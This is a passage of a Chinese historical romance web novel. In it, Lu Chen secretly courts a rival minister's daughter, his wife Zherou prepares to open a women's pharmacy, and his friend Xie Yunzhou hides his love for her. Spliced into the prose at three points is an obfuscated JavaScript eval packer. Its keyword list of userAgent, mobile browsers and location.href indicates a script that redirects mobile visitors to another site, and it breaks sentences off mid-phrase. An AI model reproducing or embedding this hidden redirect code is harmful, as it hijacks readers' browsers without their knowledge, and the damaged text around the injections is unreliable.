等到宴席散了,折柔和陆琬道过别,带着小婵走出内院,陆谌正等在马车前,瞧着清清爽爽的,显见是没喝多少酒。 折柔却已醉意微醺,身上一阵阵地泛起热意,走路都有些打飘,轻轻唤他:“陆秉言。” 陆谌愣了一瞬,忙上前几步,从小婵手里把人接过来,低声问:“喝醉了?” 她摇头,仰脸笑看着他,双颊晕红,“我没醉。” 陆谌勾唇笑了笑,要扶她去登马车,折柔不肯,她身上有些热,想在巷子里走一走,吹吹清凉的晚风。 走出郡伯府后角门的小巷,陆谌转过身,背对着她,拍拍肩膀,“来,我背你。” 夜风微凉,折柔的酒醒了几分,闻言有些脸热,“这是外面。” 陆谌笑了,把她胳膊搭到自己肩上,一弯腰直接将她背了起来,“这条巷子僻静得很,没有旁人。” 暮色四合,最后一点夕晖被路边的枝桠层层筛过,斜斜洒下一蓬柔软的暖色。 折柔趴在陆谌结实的背脊上,胳膊松松环着他的脖颈,抬眼就能看见他颈后黑密分明的发尾。 忽然想起从前在城隍庙的一桩小事。 当年陆谌吃过了许多苦头,终于能重新站起来,如常人般慢慢行走,那日他们欢喜极了,陆谌自己走了两遍还不够,非要背起她再试试。 彼时两个人还没有互通情意,她小心翼翼地伏上少年劲瘦的背脊,鼻间都是他身上干净的皂角香。看着近在眼前的俊瘦侧脸,她心如擂鼓,犹豫了许久,终于借着他脚下不稳,唇瓣轻轻撞上了他的后颈。 温热,柔软。 只是一触即离,她却心跳飞快,脸颊热得发烫,手心里腻出一层薄汗,全然一副做贼心虚的模样。 直到见他毫无所觉地将她放下来,她才长长地吁了一口气,可隐隐地,哪里又浮起点说不清道不明的失落。 现在想想,陆秉言那时候可真傻,让人轻薄了都没察觉。 不过这样一桩小事,她并不打算告诉他,且让他傻着罢。 她不是自苦的性子,先前被勾出来的那点若有似无的轻愁早已消散干净,迎面夜风旖旎温柔,折柔心情忽而变得很好,忍不住把脸埋在陆谌宽阔的肩膀上,唇边悄悄漾起笑意。 她很小的时候,爹娘就都不在了,没有靠山,没有人疼。在医馆里,她要讨好叔婶,要帮堂兄堂姐洗衣袜,受了委屈也不敢哭,怕被婶娘瞧见骂她晦气,还会扣她本就不多的餐饭。 那时候她就暗暗对自己说,不能一直寄人篱下,将来要靠自己脚踏实地地活。 如今也是一样,她不能把自己立足的根基都扎在别人身上,哪怕那个人是陆谌。 今日伯府的宴席就是个不错的开头,她心里很欢喜。 除去顾七娘的那一点小波折,她头一回出门交际,可以算是颇为顺利,心中也有了底,若是遇到言辞机锋,她大抵能应付得来,不必吃闷亏,也不会给陆谌丢人。 等往后再开一家成药铺子,慢慢把生意经营起来,在上京有了自己的立身之本,哪怕没有家世依傍,她也会有更多的底气,能与陆谌并肩,与他做真正的“伉俪”。 想一想,便让人充满希冀。 在小巷里走了一段路,前面就是正街,小贩叫卖的喧嚷声遥遥传了过来。 听见街上动静,折柔脸颊倏地一热,不再和陆谌胡闹,忙从他背上滑下来,两个人坐回到马车里。 车厢里弥散着淡淡的酒气。 陆谌倒了一盏热茶,让她喝一点暖胃醒酒。 马车平缓地行过瓦市,折柔靠着车窗往外看。这里正是最繁华的地段,数不清的小贩挑着货担熙攘着从路中走过,街道两侧酒楼脚店连绵不尽,彩楼欢门外华灯高悬,一路上灯烛流光溢彩,映照着缓缓前行的车身。 路过几家医馆,折柔忽然想到自己的打算,转头对陆谌笑了笑:“我想好要开什么样的药铺了。” 陆谌挑眉,“嗯?” “马行街那边我去看了几回,门面最大的叫‘大骨付’,店里卖的是跌打骨科成药,他家旁边是‘山水陈’,卖口齿咽喉药,再往后柏郎中主治儿科,曹家主治耳鸣……那边铺子虽多,却没有一家是卖女科成药的,我打算去开一家专治女科的药铺,你觉得怎么样?” 街边灯火透过竹帘漫进车内,在她浓长的睫毛上铺了一层柔软的暖光。 陆谌定定看着她颊边明亮的笑意,眸光漆黑幽邃。他正要点头说好,车身忽地一震,只听赶车的小厮惊呼一声,猛地勒停了马车。 陆谌眉心微皱,还不及问出了何事,一道清越含笑的男子声音已在车外响起来—— “陆秉言,我送的西域良马你不骑,在这装什么闺秀呢!” 话音未落,车门被人从外拉开,远处耀目的灯火一霎涌了进来。 一个身着墨色箭袖武袍的青年站在车下,身形挺拔如俊竹,躞蹀带束出一把劲腰,灯火阑珊中,一双眼熠熠似寒星,如同冰雪擦洗过的刀刃,带着清冽的锋芒。 看清了车外的人,折柔愣怔一瞬,忍不住笑了:“鸣岐?你怎么寻到这来了?” 开门的右手还僵在半空,谢云舟眸光一顿,喉结微滚了下,“九娘?” 折柔眉眼含笑,冲他点点头。 当年在洮州初见,陆谌让谢云舟叫她“表嫂”,被他笑骂了回去,说陆谌才比他大一个月,占哪门子便宜?干脆便按着她的序齿,唤她九娘。 谢云舟回过神来,唇角不自觉地勾起,“我不知你在车里,禁军衙门的人只说秉言赴宴去了,没提你也和他一道。” “不碍事,”折柔笑看着他,“我又不是小孩子,还能叫你吓着不成?” 陆谌坐在一旁,静静地看着他们两个一来一往地寒暄了几句,忽而挑眉看向谢云舟,“怎的,寻我有事?” 谢云舟收回手,松散地倚在车旁,扬唇笑了笑:“别说,还真有事。和王仲乾有关,想不想听?” 陆谌眸光凝定一瞬,转头看向折柔,抬手摸了摸她的脸颊,低声交待:“让南衡先送你回去,晚上不必等我。今日吃多了酒,早点歇息,嗯?” 车厢里光线昏暗,隐约看见陆谌的动作,谢云舟视线微顿了一下,随后平静地转过头,看向远处招展的酒幡。 折柔顿觉耳热,悄悄推了陆谌一把,催促道:“知道啦,去罢。” 陆谌笑笑,起身下了车,目送着马车走远,同谢云舟到杨楼寻了个雅间坐下。 杨楼不如樊楼喧闹,酒阁的内景也更为雅致,柔软的桃竹簟铺作地衣,中间置一方雕花矮几,青釉胆瓶里装点着时令鲜花。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861155|159437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一室甜郁的花木气息中,谢云舟忽然嗅到一缕微弱的清苦冷香,下意识寻了一圈,很快,视线定在陆谌腰间的承露囊上。 寻常的松江布,绣着麒麟纹样,针脚细密平整。 恍惚想起来,每年时令交替,她都会依着不同药草的效用,给陆谌配好应时的香囊。 麒麟回首百病消,当真是极好的寓意。 察觉到他目光停留,陆谌挑眉,“怎么,想要?” 闻言,谢云舟抬眸看了他一眼,半开玩笑似的,轻哂道:“想要,你舍得给我?” 酒阁里的直棂窗推开半扇,夜风吹进来,胆瓶里的花枝随风轻摇,细长影子投落到矮几上,在两人中间分割出泾渭分明的一道线。 陆谌没再看他,提过案上的碧玉酒注,笑嗤一声,“想要就早点娶房妻室,自然有人给你做。” 谢云舟漫不经心地抿了一口酒,没作声。 陆谌淡淡地瞥了他一眼,“你这婚事至今也没个着落,长公主和国公爷愿意纵着你就算了,官家竟也由着你?” “他倒是想管,”似是想到些什么,谢云舟扯了个笑,眼神微凉,“可他选的那些贵女,我一个都不喜欢。就算能压着我定下亲事,他还能强捆了我去洞房不成?” 不待陆谌再说什么,他懒懒地摆了下手,“不提了,说正事。我听闻前几日有人抓了王仲乾的把柄,是你给暗中压下去的?” 陆谌不以为意地点点头,应了声是。 “诶我说陆秉言,”谢云舟一瞬坐直身子,曲起长指敲了敲桌案,拧眉道:“当年若非有人在谏院煽风点火,借着河西兵败攻讦东宫,说什么我太子表哥为了反对新政,暗中授意薛老将军阵前拒战,东宫又怎会起兵作乱? 虽说东宫谋逆是实吧,但起因跟这姓王的脱不了干系,更不必说他还弹劾你爹,害你们全家被牵连获罪,你作甚要救他?” 陆谌平静道:“御史弹劾,至多让王仲乾丢个官,动摇不到徐崇的根基,既如此,我何不卖他个顺水人情?” 谢云舟一愣,“你想动徐崇?” 有些事不必同他避讳,陆谌轻嗤了一声,“当年王仲乾上表弹劾我爹,若说背后没有徐崇指使,你信么?” 顿了顿,他眉眼冷沉下来,“他们欠陆家的这笔债,迟早要还。” 谢云舟闻言敛了神色,忍不住提醒:“就算你捞过王仲乾一回,徐崇那厮也绝不会轻易信了你,他这人深沉多疑,一向是不见兔子不撒鹰,你行事可要多加小心。” 陆谌垂眸看着酒盏,凉薄地牵了下唇角,“放心,我心里有数。” 与谢云舟别过,走出杨楼,南衡已经从陆府折返回来,一见他露面,忙迎上前去,将手里的东西递过去,压低了声音道:“郎君,徐家娘子遣人送信,邀您旬日前往相国寺万姓集市,可要应下?” 陆谌淡淡应了一声,随意接过他手里的纸张。 是一张洒了金箔的淡粉砑花笺。 见他毫不犹豫便应下,南衡支吾半晌,又向上觑了觑,终是没忍住,脱口道:“郎君,徐家不好糊弄,若是让娘子知道了……” 他追随陆谌多年,知道陆谌与折柔少年夫妻,这几年相濡以沫历经生死,难得才有现下的圆满。 如今眼睁睁看着陆谌和徐家娘子一日比一日熟稔,他既暗暗为折柔着急,也怕此事继续下去,一旦逾了矩,又或是瞒不住,恐要闹得无法收场。 陆谌冷冷地看了他一眼,眸光幽沉深邃。 “她不会知晓。” 8. 第 8 章 和陆谌别过,谢云舟从杨楼出来,骑马回到胥国公府,已是戌正时分。 随手将马鞭扔给身旁的小厮,谢云舟径直回了院子,洗漱过后,换了身宽松单衣,枕臂躺在榻上,闭着眼,似乎还能闻到承露囊里的清苦药香。 眼前不觉浮现出今夜乍然撞见时,折柔仰脸看着他,那一副错愕又惊喜的模样。 谢云舟不禁勾起唇角。 那次他去洮州探望陆谌,正赶上折柔头一回去到病人家中出诊,陆谌放心不下,原本要亲自跟去看看,却突然接到调令被急召回营,便托他代为暗中照看。 不过举手小事,谢云舟痛快应了。 寻到地方,他倚在巷口的柳树下,叼着根草梗,看见折柔和那户人家像模像样地道别,却没想到,她在人前还装着一副稳重医者模样,走出两条巷子后,像是再也忍不住,整个人都轻快飞扬起来。 看了一会儿,他忽然觉得很有趣。 回去的路上,他不远不近地跟在后头,看她穿着一身洗得微微发白的素净衣衫,背着乌木医箱,走在乡间曲折的小路上,脚步轻快,发间的丝绦随风拂动,灿烂夕晖映照上她细嫩的侧脸,犹如暮春时节枝头初绽的杏花,柔软又明媚。 那副画面,谢云舟没有刻意去记,只是就那么镌印在了脑海里,后来又频频想起。 他生来便是皇亲贵胄,锦绣堆里长大的王孙公子,桀骜恣意,裘马轻狂,在上京这泼天富贵窝里作养了二十余年,早已见惯形形色色的贵女,可她和那些女子都不一样。 怎么会有这样的小娘子呢?明明吃过很多苦,却总是眉眼含笑,瞧着温温柔柔的样貌,柔婉似春水,内里又热烈鲜活得像团火,有股蓬勃的韧劲。 谢云舟想着想着,腹中酒意又翻腾起来,灼得心头发烫,朦朦胧胧地,在半醉半醒间,陷入一片碎乱梦境。 像是置身于上元灯节,千万盏花灯悬挂在高耸巍峨的彩楼上,灼灼耀目,缤纷流光,长街上火树银花,凤箫声动,一夜鱼龙舞。 他急切地在熙攘人流中穿行,四周浮光掠影,不知过了多久,走了多远,终于在人头攒动的长街尽头,寻见那道日思夜想的温柔身影。 “九娘!” 似是听到有人呼唤,女子站在灯火辉煌处,蓦然回眸,对他粲然一笑,轻快又缱绻地唤了一声:“阿郎。” 刹那间,周遭喧嚷的声音如潮水般席卷退去,所有人的面目都变得模糊,仿佛天地间只余一个她。 谢云舟心头猛地一跳,不自觉地扬唇笑起来,抬步就要迎上前去,下一瞬,却见她脉脉的目光越过自己,看向了他身后的那个人。 谢云舟一霎定在原地。 眼看着她笑盈盈地朝那人走过去,越来越近,越来越近,就要错身而过的刹那,谢云舟忽然攥住她的手腕。 女子的胳膊柔软纤细,沾染了些雪夜的凉意,覆在上面的那只手却劲瘦有力,炙热滚烫。 她讶异地回过头,街畔灯火映着她姣好的面容,朱唇微启,莹润饱满,娇艳得仿佛六月里熟透的樱桃。 那样的两瓣唇,她的郎君尝在唇齿之间,是何滋味? 情难自禁,谢云舟喉结滚动,紧握住她的肩头,将女子揽入怀中,低头吻下去。 清馨的呼吸就在咫尺,怀里的人却挣扎起来,抬手抵住他的胸膛,惶然睁大了眼睛,不可置信地喃喃:“鸣岐……” 幽凉夜风穿过轩窗的缝隙,吹动纱帐。 谢云舟猛地惊醒过来,身上几乎被冷汗浸透,心脏剧烈地跳动。 他真是疯了。 陆谌和他一起长大,两个人近二十年的情分,是手足兄弟,亦是至交好友,他却他的发妻对生出不该有的妄念。 他知晓自己不该。 可是越压抑,越渴念,成百上千个日夜过后,几乎化作了难以自控的本能。 夜风寂寂,屋内垂挂的帐幔轻柔拂动。 月色从直棂窗中漏进来,倾泻一地,深浓如寒霜。 好半晌,谢云舟赤足下榻,走到桌案前,仰颈饮尽一盏冷茶,心跳慢慢平复下来。 夜色已深,他走出槅扇门,坐到廊下的木阶前,衣襟散乱着,素白的里衣敞开了,露出胸口上一道寸余长的旧疤。 清瘦有力的长指抚上去,谢云舟出了一会儿神。 那年陆谌随军出征,却不想主将韩嗣全贪功冒进,中了羌人调虎离山的圈套,数万大军深陷西羌腹地,羌军主力则趁夜直扑兵力空虚的洮州主城。 他和折柔被困在城里,战况凶险,他不慎中了一支冷箭,胸口鲜血止不住地流,命在旦夕。 事出紧急,寻不到制备好的桑皮线,折柔情急之下取了自己的头发给他缝伤。 明明吓得脸色惨白,她却仍强撑着镇定,一遍遍地安抚他,颤着声说,“鸣岐,别怕。” 那时候命都快交待了,可瞧着她全心全意紧张担忧的模样,他竟隐隐觉得欢喜,还想扯个笑逗逗她,只可惜伤得太重,半个字都说不出。 时过境迁,胸前的箭伤早已愈合拆线,他却时常会生出些错觉,仿佛她的发丝已同他的血肉生长到一处,丝丝缕缕地牵动着他的心脉,有如一种隐秘难言的悸动。 年少心动,仿佛野火燎原,一发不可收。 只是,那又怎样呢? 她已是他好友的结发妻,甚至认真论起来,他还要唤一声“表嫂”。 人家夫妻两个如胶似漆,情意绵绵,死生不弃。 当年大晋军队在西羌腹地遇伏,陆谌所在的厢军前锋营首当其冲,全军覆没。残余败军狼狈撤回洮州,甚至来不及收敛阵亡将士的尸骸。 所有人都说,那些将士的尸骨怕是都已被铁蹄踏碎了,深埋进黄沙里,早就分不清哪个是哪个了。 她只是笑了笑,独自装好伤药和水粮,束起头发,换了身男子打扮,牵着一匹小乌马,说要去找陆谌,带他回来。 她说,便是陆谌当真战死在了塞外,她也要带他的尸骨回来。 她是他的妻子,怎么可以眼睁睁看着他身死他乡?百年后,他们是要同穴而葬的。 陆秉言啊陆秉言,得妻如此,真是让人羡慕。 谢云舟忽然仰起脸,自嘲地笑笑。 是,他知道自己是个傻的,快三年了,就一直守着那点根本见不得光的心思。可那又如何?他就是乐意,碍着谁了? 千金难买爷乐意。 他谢云舟一生行事,不问结果,只求无愧本心。 ** 徐府。 徐有容白日里去了三皇子府做客,回府后有些疲倦,早早便洗漱歇下,躺在榻上想心事。 虽说这几日相处下来,她同陆谌是熟稔了许多,可她还不知晓陆谌到底是什么心意呢,本打算矜持些时日,等陆谌主动来邀她出游,却不想今日一回来,便听闻他带了那个洮州女子去赴宴。 她自然不屑于将那个乡野女子放在眼里,毕竟这世上男子但凡有些权势,总是要纳妾的。 她爹爹后院就有两个姨娘,她二姐夫更不必说,侧妃、良媛、没有品阶的侍娘……一个巴掌都数不过来。 于正妻而言,这些妾室通房不过是些会喘气的玩意儿,更不必说没有根基倚靠的孤女,再好打发不过了。 只是一想起来,她还是不免有一点点吃味,但更多的还有好奇,想知道能让陆谌从乡下带回来的女子,究竟是个什么模样,便忍不住遣人下了帖子,想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861156|159437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等过两日向他探探口风。 正胡思乱想着,前院小厮送来了陆谌的回信,徐有容不由精神一振,立刻欢喜地下了榻,吩咐女使把衣柜里的行头一样样搬出来,比对着妆奁匣子里新打的簪环,挑选了好半晌,最后定下一身织金银线妆花罗裙,再配上个珍珠翘头钗。 又让女使重新梳了发髻,匀上口脂,像模像样地装扮了全套。 站在铜镜前左右瞧了瞧,这一身既华贵又不失娇俏,徐有容一拍手,颇为满意点点头。 等到她终于折腾累了,熄灯安顿下去,廊下侍奉的婆子抬起头,悄悄望了屋内一眼,转身匆匆走去丰兰苑,将自家小娘子的动静一一禀给了主母周氏。 越听,周氏眉头越紧,不待听完,倏地起身去书房寻徐崇。 徐崇正在案前品鉴新得的一幅古画,抬头见她进来,立时笑道:“夫人来了?来,瞧瞧这画如何,传闻可是前朝吴道子真迹呐。” 周氏眼下哪里还有那个兴致,抚了抚胸口,开门见山道:“我听闻十六娘相中了陆家三郎,这几日俩人私下里颇有些来往,你可知晓?” 闻言,徐崇不以为意地点点头,继续端详着案上画卷。 周氏上下打量了他一眼,迟疑道:“难不成,此事你乐见其成?” 徐崇淡淡“唔”了一声,“我觉着不错。” 周氏心头顿时冒出火来,噔噔几步走到案前,蹙眉看着他:“那陆家三郎虽有几分本事,可我听说他在洮州私娶妻室,如今还大模大样地养在了家中,这身边不干不净的,算哪门子良配?总之我不答允,以后也绝不许容娘和那陆家小子再有往来!” 她是徐崇的填房,膝下就十六娘这么一个骨肉,如今女儿大了,寻个好郎子是顶顶要紧的事。这世道于女子不易,若是郎子房中另有内宠,等嫁过去,真是不知要吃多少苦头。 徐崇抬头瞥了她一眼,暗道妇人就是妇人,果然无甚见识。 抬手挥退了下人,徐崇无奈道:“那外室我已遣人查过,无父无母的孤女,根本算不得什么,连个蝼蚁都不如。” 说着,他压低了声音,继续道:“官家老了,只怕是对当年先太子的事生了悔意。不然你以为那陆家小郎,凭甚能这般轻易就调回上京,还接掌了两衙禁军? 官家既存了这等心思,此子便不可小觑。若是能借由容娘化解两家龃龉,我也好不用再费心提防着他,更何况,他手里的禁卫兵权,对三殿下也是助益。” “当然了,最最要紧的,还是容娘喜欢。” 徐崇讲了那许多利弊得失,只有最后这一句算是说到周氏心头痛处,她视女儿如掌珠,怎么舍得让女儿嫁个不合心意的郎子,闻言不由沉默下来。 只是想了想仍觉得堵心,她忍不住追问:“那你可有让人查过,陆三郎待他那个外室如何?情分可深?” 徐崇冷笑道:“区区一个乡野女子,哪里比得上前程权势要紧?他既有意和容娘来往,便是已经在心里分出轻重,做了取舍。 常言一将功成万骨枯,若是当年祸事再来一回,他陆秉言怎知自己一定会是那个将,而不是那根骨?他是从尸山血海里爬出来的人,这笔账,不会算不明白。” 周氏渐渐冷静下来,她也是簪缨世族养出来的当家主母,当然知晓情爱远不如利益来得可靠,自家相公说得在理。 只不过心中还另有些隐忧,思量片刻,她迟疑着问:“容娘性子单纯,就这般由着他们来往,若是,若是闹出什么事来……到头还不是我们容娘吃亏?” “放心,陆家小郎做事有分寸。” 停顿片刻,徐崇眯起眼睛,慢悠悠道:“且让他们两个相处些时日,我也亲眼瞧瞧他向我徐家示好的诚意。” 9. 第 9 章 陆谌回到家中,折柔还没歇下,正倚在榻上,翻看着一本薄薄的画册,锦被随意搭在腰间,露出一截雪白纤巧的足腕。 “看什么呢?”陆谌换衣上了榻,欺身过来,亲了亲她的面颊,“怎的还没睡?明日又要头疼。” “牙郎刚送来的册子,我先看看有哪些租金合适的铺面。”折柔笑着推开他暗中作乱的手,拿画册拍了拍他的胳膊,“你和鸣岐凑一块,没少饮酒罢?灶上给你热着醒酒汤呢,去喝一碗。” 陆谌却越发放肆起来,低头咬开她的衣带,把脸埋进她的颈窝,深深吸了一口气,感受着怀里人的温暖柔软。 利落的鬓发挨蹭着颈边肌肤,折柔被他弄得阵阵发痒,忍不住笑出了声,一边推他一边往里躲,“别闹,快去把醒酒汤喝了。” “不去。” 陆谌反倒起了玩心,钳住她的手腕,挠着她身上痒肉,低低地笑起来。 “陆秉言你幼不幼稚!” 两个人嬉闹半晌,折柔笑得眼眸里漫起一层薄薄的水雾,衣襟散乱,呼吸起伏间,隐约露出一段姣美的曲线。 陆谌垂眸看了一会儿,心绪忽然有些低沉,沉默着将她揽进怀里,有一下没一下地,用长指勾缠着她柔滑的发丝。 “妱妱。” “嗯?” 陆谌眸光幽邃,凝视着她嫣红的脸颊,低低道:“若有一日,我在朝中出了什么变故,你可会离开?” “说什么傻话呢。”折柔轻轻抚摸着他颈后发尾,唇边含笑,“我怎么会同你分开?不论发生何事,只要夫妻二人相濡以沫,便没有过不去的坎。若是京官做不下去,我们回洮州,在那里开个医馆,你给我当掌柜和账房,我给你工钱,如何?” 听着她轻柔和缓的声音,陆谌微微勾起了唇角,伸手又把她往怀里搂紧一些。 两个人依偎在一处,折柔心里发软,轻轻拍了拍他的后背,柔声道:“睡罢,明日还要上值呢。” 今夜喝了两轮的酒,陆谌确实有些醉了,躺在她身畔,呼吸慢慢变得均匀绵长。 帐中安静下来,折柔借着月光,仔细端详着他的侧脸,心头滋味错杂。 同床共枕了三年,彼此早已熟悉至极,她看得出陆谌近来有些不对劲,似乎有什么要紧的事瞒着她。 可他既然不想说,那她多问也是无用,只祈盼他诸事顺遂,早日心愿得偿。 随后几日陆谌差事繁忙,顾不上她,折柔也体谅他辛苦,独自带着小婵,按约去郡伯府探望陆琬,给她的女使烹霜诊过脉,开了两副补身方子,又顺道去和牙郎相看铺面。 消息很快传进松春院里。 屋内檀香袅袅,郑兰璧刚刚念过早课,正在桌案前抄写经书,听着崔嬷嬷在一旁回禀。 “夫人,那宁氏果真不是个老实的,郎君稍稍宽纵一些,她便顶着陆府娘子的名头,屡次三番地登门郡伯府。” “听门上的婆子说,前阵子还有牙郎寻到咱们府里来,说是宁氏托请了牙行,要租买个铺面,做些生意。” 郑兰璧停了笔,抬头问道:“做生意?” “可不正是!听说好像要制卖什么成药。” 郑兰璧忍不住蹙眉,“我陆家短了她吃穿不成?要她出去招摇。小门小户的市井出身,到底上不得台面。” 崔嬷嬷点头称是,语气中又带了些担忧,“宁氏这般抛头露面,若是传扬出去,让旁人都知晓郎君养了个得脸的房里人,那还怎么迎徐家贵女过门?只怕要惹得相公娘子不快。” “啪嗒”一声,价值数贯的金粟纸上重重落下一个墨点。 这一笔下去,整整一页抄满的经文都要作废了,崔嬷嬷从旁看着,不由得肉疼。 郑兰璧紧紧抿起唇角,强忍着怒意,把手中的紫檀宝相小毫放到笔搁上,“那日三郎来寻我,好声好气地同我讲了半晌,我只当他心中有数,便一时软了心,由着他的意,将这议亲之事暂且按捺下来。却不想他纯是在女色上昏了头,为着个狐媚女子来糊弄他亲娘!” 崔嬷嬷见状,忙上前为她斟了盏茶,顺气劝道:“夫人虽是不屑于同那村妇往来,可她总归是郎君的房里人,无规矩不成方圆,为着郎君的颜面,还是要给东院立一立规矩才好。” 郑兰璧闭上眼,深深地匀了一口气,“着人留意那头的动静,寻个合适的时机,把人带过来。” 崔嬷嬷肃容应是,“夫人尽管放心。” ** 隔天是旬日,折柔相中一处铺面,陆谌陪同她一道去看屋下定。 马车行过封丘门,前面便是马行街。 因着要开的是女科药铺,折柔特意选了一处相对僻静些的铺子,紧挨在马行街边上,后门直通坊院小巷,赁金也要便宜上不少,算下来很是合宜。 等到日后药铺开张,只要生意能支应起来,直接盘下铺面也不算难事。 这一处门面前店后院,占地不大,院墙新修葺过,地上铺了青石板,收拾得素净整洁。 陆谌在店里转了一圈,也觉得很不错,问她:“就定下这里了?” 折柔心满意足地点点头,很快同屋主交付定钱,签下契书。 赁下店面只是个开头,往后还有采买药材、制备成药、招工雇人等等数不清的杂务要忙,但折柔还是忍不住欢喜。凭自己的本事立足,有自己的买卖经营,不必依附旁人而活,这感觉让人心里踏实。 她带着小婵,将铺子里里外外地好生看了一遍,记下几处要重新布置的地方,颊边微微泛起红晕,像当初在洮州安置新家,一副兴致勃勃的模样。 陆谌跟在后头,噙笑看了一会儿,转头吩咐长随平川,“明日叫几个伶俐的小厮过来,将屋内各处再收拾收拾,角落里也都熏一遍香,仔细些。” 平川咧嘴一笑,麻溜地应了声是。 差不多安排停当,收好契书和钥匙,走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861157|159437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出坊院,折柔的脚步都带着轻快,笑盈盈地看向陆谌:“赁屋置地也算一桩喜事,今晚我亲自下厨,做几道小菜,先前腌好的鱼鲊也可以开坛了,咱们在院中小酌几杯,稍作庆贺,好不好?” 对上她清亮的眼神,陆谌沉默了一下,道:“我在樊楼还有应酬,晚上未必赶得及回去。” 不想他已经另有安排,折柔一瞬有些失落,却也没多说什么,脸上仍带着笑意,装模作样地威胁:“宴上少饮些酒,吃醉了可不给你留门。” 陆谌勾唇笑笑,目送着她登上马车离开,站在原地,出了一会儿神。 暮春灿烂的日光穿过屋顶,在坊墙上洒下一片光瀑,映得他神色半明半暗,他抬头看一眼天色,转身去往相国寺。 这个时辰,徐有容应当已经出门,从徐府到相国寺不过两炷香的时间,他现在过去,刚好来得及。 回府的马车上,小婵偷偷瞧着折柔,欲言又止了好半晌,憋得脸蛋一阵阵发红。 折柔看出来她有话要说,温声问道:“怎的了?” 小婵觑了她一眼,犹犹豫豫着,终于鼓起勇气,支吾说道:“婢子……婢子就是瞧着,郎君近来好像总是很忙,不是忙着办差,就是忙着应酬…… 可婢子听说这上京男人们的酒局,都是要请行首角妓作陪的,那些女子又唱又跳,花样可多了!这世上的男子但凡有了些钱财,就容易生二心,乡下老翁多卖一斗米都想买个妾呢,更何况那些有权有势的男子……” 说到一半,小婵猛然察觉自己失言,急急改了口,“当然,当然我们郎君才不是这样的人,但,但禁不住总有人惦记撩拨呀,娘子可千万要多提防一些!” 折柔不由失笑,捏捏她的脸颊,“你才多大,还知道什么是行首、角妓?” 小婵涨红了脸,小声争辩,“婢子就是知道。” 看见她这副纯稚模样,折柔忍俊不禁,安抚地笑笑:“放心罢,我心里有数,他不是那等人。今天是赁铺的好日子,晚上我下厨做紫苏鱼和盏蒸羊,陆秉言没口福,我们不管他。” 小婵心性单纯,听闻有好吃的,眼神一亮,立刻雀跃起来。 说笑间,马车停到陆府门口,平川在车前摆稳脚凳,对着车帘恭敬道:“娘子,到了。” 折柔笑应了一声,掀起车帘,和小婵踩着脚凳下车。 走到门上,侍立的婆子向她行过礼,伸脖朝马车里瞧了一眼,随即冲院内招了招手,暗暗挤个眼色。 瞥见婆子的动作,折柔微微一怔,还不及反应,忽然听见一阵急促脚步声,抬头就见崔嬷嬷神色紧绷,领着几个粗壮仆妇,匆匆绕过青砖影壁,快步走到近前。 折柔心一跳,顿时生出不妙的预感,站在原地定了定神,微笑道:“崔嬷嬷。” 崔嬷嬷不冷不热地应一声,微微昂起头,神色凛然不可侵犯,“夫人有话要与宁娘子说,还请宁娘子随奴婢移步松春院。” 10. 第 10 章 崔嬷嬷身后的婆子个个膀粗腰圆,往那一站,架势浑像是府衙来拿人,有什么账要算。 折柔心中警惕,试探着问:“敢问嬷嬷,夫人唤我过去,是有何吩咐?” 崔嬷嬷神色冷淡,凉凉道:“我等做奴婢的,不敢妄自猜度主母心意。总归长辈有言,身为晚辈前去听训便是,难道宁娘子是想推脱忤逆不成?” 这话说得实在难听,小婵一时不忿,冲上前道:“我家娘子不过是问问,嬷嬷这话是什么意思?既是做奴婢的,便莫要对娘子失了礼数。” 崔嬷嬷目光陡然变得严厉,讥讽道:“乡下来的野丫头,也知晓什么叫礼数?来人,把这不知天高地厚的婢子给我带下去,少在此处碍事!” 身后几个仆妇得令就要过来。 眼见对方人多势众,争执下去必定吃亏,折柔连忙把小婵挡到身后:“我院中的人,我自会管教。现下要紧的是去松春院,莫让夫人等久了。” 小婵闻言一急,还想上前,折柔拉住她的胳膊,轻轻摇了摇头,示意她莫要冲动,安抚道:“你先回东院去,我随嬷嬷走一趟,没事的。” “可是,可……”看着婆子们气势汹汹的模样,小婵担心得几乎说不出话。 折柔笑笑,“放心,回去等我。” 崔嬷嬷瞥两人了一眼,微微侧过身,比手在前引路:“宁娘子,请罢。” 今日这阵势摆明了来者不善,凭她自己只怕应付不来,折柔心中隐约不安,趁着转身,不动声色地看了小婵一眼,示意她暗中去给陆谌送个信。 小婵一瞬会意,咬了咬唇,忿忿装作回东院的样子,刚一离开崔嬷嬷等人的视线,立刻拐上通往角门的小路,直奔马厩的方向跑去。 从陆府到樊楼不算太远,但她脚程不够快,要找旁人帮忙才行。 角门后巷,平川刚刚卸下车套,将马匹送到厩中栓好,正抱了草料回来,往马槽中添食。 